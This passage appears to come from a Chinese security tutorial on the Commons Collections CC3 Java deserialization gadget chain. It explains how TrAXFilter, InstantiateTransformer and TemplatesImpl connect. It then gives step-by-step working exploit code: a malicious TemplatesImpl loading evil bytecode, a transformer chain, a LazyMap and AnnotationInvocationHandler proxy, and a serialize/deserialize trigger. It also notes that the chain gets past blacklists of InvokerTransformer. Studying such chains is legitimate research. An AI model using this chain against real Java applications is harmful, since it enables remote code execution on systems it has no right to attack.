这里其实有一个疑问,在cc3和其他使用TemplatesImpl利用的地方都会将_tfactory 赋值,目前我还不清楚为啥要这么做。
TrAXFilter这个类是对XMLFilter的实现,而XMLFilter又是继承与XMLReader,那大概知道,可能是拿来做xml读取使用的,我们找到这个类的构造函数:
在构造函数中需要传入一个TransformerImpl对象,然后在 在构造函数中会对TransformerImpl执行newTransformer()方法,这就和前面介绍的InstantiateTransformer和TemplatesImpl 结合了起来,我们只需要将CC1链中的InvokerTransformer换成InstantiateTransformer,将TrAXFilter赋给InstantiateTransformer.transformer的输入即可。
实现我们自己实现一下:
第一步,生成恶意TemplatesImpl对象:
// 第一步 生成恶意TemplatesImpl 对象 TemplatesImpl templates = new TemplatesImpl(); ReflectUtils.setFields(templates,"_name","9eek"); byte[] evilCode = getClassByte("sec-common/target/classes/expUtils/TemplatesEvilClass.class"); // 将文件字节码转为byte[] byte[][] templatesEvilCode = new byte[][]{evilCode}; ReflectUtils.setFields(templates,"_bytecodes",templatesEvilCode);第二步 生成恶意chainTransformer
// 第二步 生成恶意chainTransformer Transformer[] transformers= new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(null);第三步 绑定到动态代理增强到AnnotationInvocationHandler上
// 第三步 HashMap<string,string> hashMap = new HashMap<>(); hashMap.put("testKey","testVal"); Map evilMap = LazyMap.decorate(hashMap,chainedTransformer); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); InvocationHandler evilHandler = (InvocationHandler) constructor.newInstance(Target.class, evilMap); // 传入lazyMap Map evilLazyMap = (Map) Proxy.newProxyInstance(Test2.class.getClassLoader(),evilMap.getClass().getInterfaces(),evilHandler); InvocationHandler finalEvilHandler = (InvocationHandler) constructor.newInstance(Target.class, evilLazyMap); // 传入代理lazyMap第四步 反序列化触发
String path = ExpUtils.serialize(finalEvilHandler); ExpUtils.unserialize(path);执行结果:
成功触发。
总结CC3其实和CC1触发过程的后半段基本一致,区别在于前面生产transfomer数组使用的是TrAXFilter和TelmplatesImpl,可以在InvokerTransformer被拉黑的情况下,使用CC3。
</string,string>